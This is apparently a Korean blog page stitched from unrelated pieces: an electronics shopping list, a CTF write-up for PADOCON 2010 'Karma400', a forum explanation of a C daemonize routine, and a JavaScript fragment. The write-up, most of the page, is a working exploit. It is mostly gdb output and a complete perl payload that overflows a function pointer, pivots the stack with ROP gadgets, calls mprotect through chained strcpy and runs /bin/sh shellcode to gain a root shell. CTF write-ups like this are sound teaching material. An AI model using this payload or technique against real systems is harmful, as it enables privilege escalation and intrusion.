http://devicemart.co.kr

 

1. LCD

2. Power

3. Memory

4. USB Connector

5. CPU

 

Default Common

 

1. 인두 & 인두대

2. 아날로그 테스터기

3. 실납

4. 흡입기

5. 저항

 

다 해도 5만원 안에 떨어질 듯

 

어차피 테스트 장비는 부셔먹을거니까 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

This is lazy writeup for Karma400 at PADOCON 2010 CTF prequals

At first, I rebuild this in the same environment.


[passket@sandb0x labs]$ uname -a
Linux sandb0x 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
[passket@sandb0x labs]$ gdb ./test
GNU gdb (GDB) Fedora (7.0-3.fc12)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-redhat-linux-gnu".
For bug reporting instructions, please see:
Reading symbols from /home/passket/labs/test...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
0x08048208 <main+0>: push   %ebp
0x08048209 <main+1>: mov    %esp,%ebp
0x0804820b <main+3>: sub    $0x8,%esp
0x0804820e <main+6>: and    $0xfffffff0,%esp
0x08048211 <main+9>: mov    $0x0,%eax
0x08048216 <main+14>: sub    %eax,%esp
0x08048218 <main+16>: movl   $0x80481f0,0x809e734
0x08048222 <main+26>: sub    $0x8,%esp
0x08048225 <main+29>: mov    0xc(%ebp),%eax
0x08048228 <main+32>: add    $0x4,%eax
0x0804822b <main+35>: pushl  (%eax)
0x0804822d <main+37>: push   $0x809e730
0x08048232 <main+42>: call   0x804d760 <strcpy>
0x08048237 <main+47>: add    $0x10,%esp
0x0804823a <main+50>: mov    0x809e734,%eax
0x0804823f <main+55>: call   *%eax
0x08048241 <main+57>: mov    $0x0,%eax
0x08048246 <main+62>: leave  
0x08048247 <main+63>: ret    
End of assembler dump.
(gdb)

test is binary for Karma400.

ok, this is code for Karma400.


#include <stdio.h>
#include <string.h>
char buf[4];
void (*func)();
void print( )
{
 printf( "melong\n" );
}
int main( int argc, char *argv[] )
{
 func = print;
 strcpy( buf, argv[1] );
 func();
 return 0;

}


We can overflow heap buffer buf[4], and overwrite func pointer.

Actually, this binary compiled on libc-the-old-one, libc-2.3.3.so

in this version, strcpy() has some bugs.

Breakpoint 1, 0x08048208 in main ()
(gdb) disass strcpy
Dump of assembler code for function strcpy:
0x0804d760 <strcpy+0>: push   %ebp
0x0804d761 <strcpy+1>: mov    %esp,%ebp
0x0804d763 <strcpy+3>: push   %ebx
0x0804d764 <strcpy+4>: mov    0x8(%ebp),%ebx
0x0804d767 <strcpy+7>: mov    0xc(%ebp),%edx
0x0804d76a <strcpy+10>: mov    %ebx,%eax
0x0804d76c <strcpy+12>: sub    %edx,%eax
0x0804d76e <strcpy+14>: lea    -0x1(%eax),%ecx
0x0804d771 <strcpy+17>: lea    0x0(%esi),%esi
0x0804d774 <strcpy+20>: mov    (%edx),%al
0x0804d776 <strcpy+22>: inc    %edx
0x0804d777 <strcpy+23>: test   %al,%al
0x0804d779 <strcpy+25>: mov    %al,(%ecx,%edx,1)
0x0804d77c <strcpy+28>: jne    0x804d774 <strcpy+20>
0x0804d77e <strcpy+30>: mov    %ebx,%eax
0x0804d780 <strcpy+32>: pop    %ebx
0x0804d781 <strcpy+33>: leave  
0x0804d782 <strcpy+34>: ret    
End of assembler dump.

strcpy() use %edx register. but, this function doesn't restore %edx register.

After calling strcpy() %edx register points end of source buffer.

We can use this.


(gdb) b *main+55
Breakpoint 1 at 0x804823f
(gdb) r
Starting program: /home/passket/labs/test
Program received signal SIGSEGV, Segmentation fault.
0x0804d774 in strcpy ()
(gdb) r aaaa bbbb cccc
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/passket/labs/test aaaa bbbb cccc
Breakpoint 1, 0x0804823f in main ()
(gdb) x/s $edx
0xbfb2f88e:  "bbbb"
(gdb)
0xbfb2f893:  "cccc"
(gdb)

putting in argv[2], we can locate %edx to argv[2].

For executing shell, ROP(Return Oriented Programming) maybe helps us.

This is some helpful code stuff that I found.


(gdb) x/i 0x80577a8
0x80577a8 <_IO_switch_to_wget_mode+76>: mov    0xb8(%edx),%eax
(gdb)
0x80577ae <_IO_switch_to_wget_mode+82>: push   $0xffffffff
(gdb)
0x80577b0 <_IO_switch_to_wget_mode+84>: push   %ebx
(gdb)
0x80577b1 <_IO_switch_to_wget_mode+85>: call   *0xc(%eax)
(gdb) x/i 0x806dfaf
0x806dfaf <fclose+99>: xchg   %eax,%esp
(gdb)
0x806dfb0 <fclose+100>: add    %al,(%eax)
(gdb)
0x806dfb2 <fclose+102>: add    %ch,0x0(%edx)
(gdb)
0x806dfb5 <fclose+105>: push   %ebx
(gdb)
0x806dfb6 <fclose+106>: call   *0x8(%edx)
(gdb) x/i 0x806cc4a
0x806cc4a <__mpn_lshift+74>: pop    %eax
(gdb)
0x806cc4b <__mpn_lshift+75>: pop    %ebx
(gdb)
0x806cc4c <__mpn_lshift+76>: pop    %esi
(gdb)
0x806cc4d <__mpn_lshift+77>: pop    %edi
(gdb)
0x806cc4e <__mpn_lshift+78>: ret
(gdb) x/i 0x8080821
0x8080821 <_dl_debug_state+1>: mov    %esp,%ebp
(gdb)
0x8080823 <_dl_debug_state+3>: leave  
(gdb)
0x8080824 <_dl_debug_state+4>: ret
(gdb) x/i 0x80480eb
0x80480eb: add    %al,(%eax)

okay,

at first, we modify %eax point buf[0]. for this, we use 0x080577a8

and second, we exchange %eax, %esp. for this, we use 0x0806dfaf

and third, we modify %ebp to %esp+4. for this, we use 0x0806cc4a, 0x08080821

after this code chain, we get static stack located %eax, starting point of buffer.

look at this:


(gdb) r "`perl -e 'print "AAAA", "\xa8\x77\x05\x08", "\x4a\xcc\x06\x08", "CCCC", "\xaf\xdf\x06\x08", "DDDD", "EEEE", "\x21\x08\x08\x08", "\x58\xe7\x09\x08"'`" "`perl -e 'print "a"x0x8, "\x4b\xcc\x06\x08", "b"x0xac, "\x34\xe7\x09\x08"'`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/passket/labs/test "`perl -e 'print "AAAA", "\xa8\x77\x05\x08", "\x4a\xcc\x06\x08", "CCCC", "\xaf\xdf\x06\x08", "DDDD", "EEEE", "\x21\x08\x08\x08", "\x58\xe7\x09\x08"'`" "`perl -e 'print "a"x0x8, "\x4b\xcc\x06\x08", "b"x0xac, "\x34\xe7\x09\x08"'`"

Breakpoint 1, 0x0804823f in main ()
(gdb) x/i $eip
0x804823f <main+55>: call   *%eax
(gdb) x/i $eax
0x80577a8 <_IO_switch_to_wget_mode+76>: mov    0xb8(%edx),%eax
(gdb)
0x80577ae <_IO_switch_to_wget_mode+82>: push   $0xffffffff
(gdb)
0x80577b0 <_IO_switch_to_wget_mode+84>: push   %ebx
(gdb)
0x80577b1 <_IO_switch_to_wget_mode+85>: call   *0xc(%eax)
(gdb) si
0x080577a8 in _IO_switch_to_wget_mode ()
(gdb) ni
0x080577ae in _IO_switch_to_wget_mode ()
(gdb) ni
0x080577b0 in _IO_switch_to_wget_mode ()
(gdb) ni
0x080577b1 in _IO_switch_to_wget_mode ()
(gdb) x/i $eip
0x80577b1 <_IO_switch_to_wget_mode+85>: call   *0xc(%eax)
gdb) x/i *($eax+0xc)
0x806dfaf <fclose+99>: xchg   %eax,%esp
(gdb)
0x806dfb0 <fclose+100>: add    %al,(%eax)
(gdb)
0x806dfb2 <fclose+102>: add    %ch,0x0(%edx)
(gdb)
0x806dfb5 <fclose+105>: push   %ebx
(gdb)
0x806dfb6 <fclose+106>: call   *0x8(%edx)
(gdb) si
0x0806dfaf in fclose ()
(gdb) ni
0x0806dfb0 in fclose ()
(gdb) ni
0x0806dfb2 in fclose ()
(gdb) ni
0x0806dfb5 in fclose ()
(gdb) ni
0x0806dfb6 in fclose ()
(gdb) x/i $eip
0x806dfb6 <fclose+106>: call   *0x8(%edx)
(gdb) x/16wx $esp
0x809e730 <buf>: 0x00000000 0x080577a8 0x0806cc4a 0x43434343
0x809e740 <_dl_nloaded>: 0x0806dfaf 0x44444444 0x45454545 0x08080821
0x809e750 <_dl_platformlen>: 0x0809e758 0x00000000 0x00000000 0x00000000
0x809e760 <_dl_profile>: 0x00000000 0x00000000 0x00000000 0x00000000

Now, we modify %esp point start of buf.

to modify base pointer, we get the %ebp.


(gdb) x/i *($edx+0x8)
0x806cc4b <__mpn_lshift+75>: pop    %ebx
(gdb)
0x806cc4c <__mpn_lshift+76>: pop    %esi
(gdb)
0x806cc4d <__mpn_lshift+77>: pop    %edi
(gdb)
0x806cc4e <__mpn_lshift+78>: ret
(gdb) x/i 0x0806cc4a
0x806cc4a <__mpn_lshift+74>: pop    %eax
(gdb)
0x806cc4b <__mpn_lshift+75>: pop    %ebx
(gdb)
0x806cc4c <__mpn_lshift+76>: pop    %esi
(gdb)
0x806cc4d <__mpn_lshift+77>: pop    %edi
(gdb)
0x806cc4e <__mpn_lshift+78>: ret
(gdb) si
0x0806cc4b in __mpn_lshift ()
(gdb) ni
0x0806cc4c in __mpn_lshift ()
(gdb) ni
0x0806cc4d in __mpn_lshift ()
(gdb) ni
0x0806cc4e in __mpn_lshift ()
(gdb) ni
0x0806cc4b in __mpn_lshift ()
(gdb) ni
0x0806cc4c in __mpn_lshift ()
(gdb) ni
0x0806cc4d in __mpn_lshift ()
(gdb) ni
0x0806cc4e in __mpn_lshift ()
(gdb) x/i $eip
0x806cc4e <__mpn_lshift+78>: ret    
(gdb) x/16wx $esp
0x809e74c <_dl_initial_searchlist+4>: 0x08080821 0x0809e758 0x00000000 0x00000000
0x809e75c <_dl_load_adds+4>: 0x00000000 0x00000000 0x00000000 0x00000000
0x809e76c <_dl_platform>: 0x00000000 0x00000001 0x08048034 0x00000000
0x809e77c <_dl_clktck>: 0x00000064 0x00000001 0x00000000 0x08a51060
(gdb) x/i 0x08080821
0x8080821 <_dl_debug_state+1>: mov    %esp,%ebp
(gdb)
0x8080823 <_dl_debug_state+3>: leave  
(gdb)
0x8080824 <_dl_debug_state+4>: ret    
(gdb) ni
0x08080821 in _dl_debug_state ()
(gdb) ni
0x08080823 in _dl_debug_state ()
(gdb) ni
0x08080824 in _dl_debug_state ()
(gdb) x/i $eip
0x8080824 <_dl_debug_state+4>: ret    
(gdb) x/16wx $esp
0x809e754 <_dl_debug_mask>: 0x00000000 0x00000000 0x00000000 0x00000000
0x809e764 <_dl_global_scope_alloc>: 0x00000000 0x00000000 0x00000000 0x00000001
0x809e774 <_dl_phdr>: 0x08048034 0x00000000 0x00000064 0x00000001
0x809e784 <_dl_sysinfo_dso>: 0x00000000 0x08a51060 0x00000000 0x00000000
(gdb) x/16wx $ebp
0x809e758 <_dl_load_adds>: 0x00000000 0x00000000 0x00000000 0x00000000
0x809e768 <_dl_bind_not>: 0x00000000 0x00000000 0x00000001 0x08048034
0x809e778 <_dl_origin_path>: 0x00000000 0x00000064 0x00000001 0x00000000
0x809e788 <_dl_init_all_dirs>: 0x08a51060 0x00000000 0x00000000 0x00000004

and now, we get static stack starting at buf[0].

after this, we can have stack overflow flow. but, stack is non-executable.

for calling mprotect(), we consider memory layout.

(gdb) info proc
process 1868
cmdline = '/home/passket/labs/test'
cwd = '/home/passket/labs'
exe = '/home/passket/labs/test'
(gdb) she cat /proc/1868/maps
008dd000-008de000 r-xp 00000000 00:00 0          [vdso]
08048000-0809d000 r-xp 00000000 fd:00 81266      /home/passket/labs/test
0809d000-0809e000 rw-p 00055000 fd:00 81266      /home/passket/labs/test
0809e000-0809f000 rw-p 00000000 00:00 0
08a51000-08a72000 rw-p 00000000 00:00 0          [heap]
bfa2c000-bfa41000 rw-p 00000000 00:00 0          [stack]

our new stack in this page, 0809e000-0809f000 rw-p 00000000 00:00 0

we will call mprotect( 0x0809e000, 0x00001000, 0x00000007 )

null is problem. but solution is simple.

for this call, we use strcpy for modifying arguments of mprotect().

call chain is like this.


[strcpy][PPR][first character of mprotect arguments that want to be modified 0x00][null memory]
[strcpy][PPR][next character of mprotect arguments that want to be modified 0x00][null memory]
[strcpy][PPR][next character of mprotect arguments that want to be modified 0x00][null memory]
[strcpy][PPR][next character of mprotect arguments that want to be modified 0x00][null memory]
[strcpy][PPR][next character of mprotect arguments that want to be modified 0x00][null memory]
[strcpy][PPR][next character of mprotect arguments that want to be modified 0x00][null memory]
[strcpy][PPR][next character of mprotect arguments that want to be modified 0x00][null memory]
[mprotect][address of shellcode][0x0809e041][0x42421042][0x43434307]
[shellcode]

* PPR means Pop-pop-ret.

after calling strcpy, 0x41, 0x42, 0x43 in arguments of mprotect are modified 0x00.


(gdb) r "`perl -e 'print "AAAA", "\xa8\x77\x05\x08", "\x4a\xcc\x06\x08", "CCCC", "\xaf\xdf\x06\x08", "DDDD", "EEEE", "\x21\x08\x08\x08", "\x58\xe7\x09\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xcc\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd0\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd2\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd3\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd5\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd6\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd7\xe7\x09\x08\xeb\x80\x04\x08", "\xe0\xdf\x04\x08", "\xd8\xe7\x09\x08", "\x01\xe0\x09\x08", "\x42\x10\x42\x42", "\x07\x43\x43\x43", "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`" "`perl -e 'print "a"x0x8, "\x4b\xcc\x06\x08", "b"x0xac, "\x34\xe7\x09\x08"'`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/passket/labs/test "`perl -e 'print "AAAA", "\xa8\x77\x05\x08", "\x4a\xcc\x06\x08", "CCCC", "\xaf\xdf\x06\x08", "DDDD", "EEEE", "\x21\x08\x08\x08", "\x58\xe7\x09\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xcc\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd0\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd2\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd3\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd5\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd6\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd7\xe7\x09\x08\xeb\x80\x04\x08", "\xe0\xdf\x04\x08", "\xd8\xe7\x09\x08", "\x01\xe0\x09\x08", "\x42\x10\x42\x42", "\x07\x43\x43\x43", "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`" "`perl -e 'print "a"x0x8, "\x4b\xcc\x06\x08", "b"x0xac, "\x34\xe7\x09\x08"'`"

Breakpoint 1, 0x0804823f in main ()
(gdb) b *strcpy
Breakpoint 2 at 0x804d760
(gdb) c
Continuing.
Breakpoint 2, 0x0804d760 in strcpy ()
(gdb) x/16wx $esp
0x809e758 <_dl_load_adds>: 0x0806cc4c 0x0809e7cc 0x080480eb 0x0804d760
0x809e768 <_dl_bind_not>: 0x0806cc4c 0x0809e7d0 0x080480eb 0x0804d760
0x809e778 <_dl_origin_path>: 0x0806cc4c 0x0809e7d2 0x080480eb 0x0804d760
0x809e788 <_dl_init_all_dirs>: 0x0806cc4c 0x0809e7d3 0x080480eb 0x0804d760
(gdb)
0x809e798 <_dl_profile_map>: 0x0806cc4c 0x0809e7d5 0x080480eb 0x0804d760
0x809e7a8 <_dl_inhibit_rpath>: 0x0806cc4c 0x0809e7d6 0x080480eb 0x0804d760
0x809e7b8 <__libc_argv>: 0x0806cc4c 0x0809e7d7 0x080480eb 0x0804dfe0
0x809e7c8 <__gconv_lock>: 0x0809e7d8 0x0809e001 0x42421042 0x43434307
(gdb)
0x809e7d8 <__gconv_lock+16>: 0x31b0c031 0xc38980cd 0xc031c189 0x80cd46b0
0x809e7e8 <__gconv_max_path_elem_len>: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
0x809e7f8 <__libc_setlocale_lock+8>: 0x31e18953 0xcd0bb0d2 0x00000080 0x00000000
0x809e808: 0x00000000 0x00000000 0x00000000 0x00000000

okay, call chain in stack is correct. this execute shell for us.

let's try this.


[passket@sandb0x labs]$ ./test "`perl -e 'print "AAAA", "\xa8\x77\x05\x08", "\x4a\xcc\x06\x08", "CCCC", "\xaf\xdf\x06\x08", "DDDD", "EEEE", "\x21\x08\x08\x08", "\x58\xe7\x09\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xcc\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd0\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd2\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd3\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd5\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd6\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd7\xe7\x09\x08\xeb\x80\x04\x08", "\xe0\xdf\x04\x08", "\xd8\xe7\x09\x08", "\x01\xe0\x09\x08", "\x42\x10\x42\x42", "\x07\x43\x43\x43", "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`" "`perl -e 'print "a"x0x8, "\x4b\xcc\x06\x08", "b"x0xac, "\x34\xe7\x09\x08"'`"
sh-4.0# id
uid=0(root) gid=500(passket) groups=500(passket) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

okay, we get the shell.

we don't use symlink for this problem. So, we use this method in remote environments, i think.

    if((pid = fork()) != 0)
        exit(0);
 
    setsid();
 
    sact.sa_handler = SIG_IGN;
    sact.sa_flags = 0;
    sigemptyset(&sact.sa_mask);
    sigaddset(&sact.sa_mask, SIGHUP);
    sigaction(SIGHUP, &sact,NULL);
 
    if ((pid = fork()) != 0)
        exit(0);
 
    chdir ("/");
    umask(0);
 
    for (i = 0; i < MAXFD ; i++)
        close(i);

 

 

대충 기억나는대로만 적어본다면...

첫번째 fork() & parent exit() 는 child 의 parent 를 init(pid=1) 으로 변경하고..(zombie process 방지)
controlling terminal 을 날려 background 로 동작하게 합니다.

그리고 setsid() 를 호출해서, 새로운 process group 및 session 의 leader 가 되게 합니다.
(다른 program group 에 속해있다가 엉뚱한 signal 을 받는 영향을 받게 되는 걸 방지하기 위해서..)

그리고 다시 fork() 해서 grandchild 를 만들고 child exit() 를 하게 되면...
process group leader 가 사라지기 때문에..
어떤 형태로든 다시 controlling terminal 을 얻을 수 없습니다.
(필수는 아닐 수 있지만, 그래도 해 두면 좋다..는 정도..?)

질문의 코드는 가장 흔한 daemonize 루틴이니.. 그냥 가져다가 사용하셔도 듯 합니다.
4.4BSD 부터는 daemon() 함수가 추가되었으니.. 얘를 쓰셔도 됩니다.

되면 한다! / feel no sorrow, feel no pain, feel no hurt, there's nothing gained.. only love will then remain.. 『 Mizz

 

 

출처 : http://kldp.org/node/113119

layertable.style.left=document.body.scrollWidth/2-107
  layertable.style.top=document.body.scrollTop+document.body.clientHeight/2-layertable.offsetHeight/2

1. 아이폰 화면의 맨 끝으로 스크롤 되는 경우, 하단에 div 태그를 더 추가하는 스크립트.

 

- 완료 후 업로드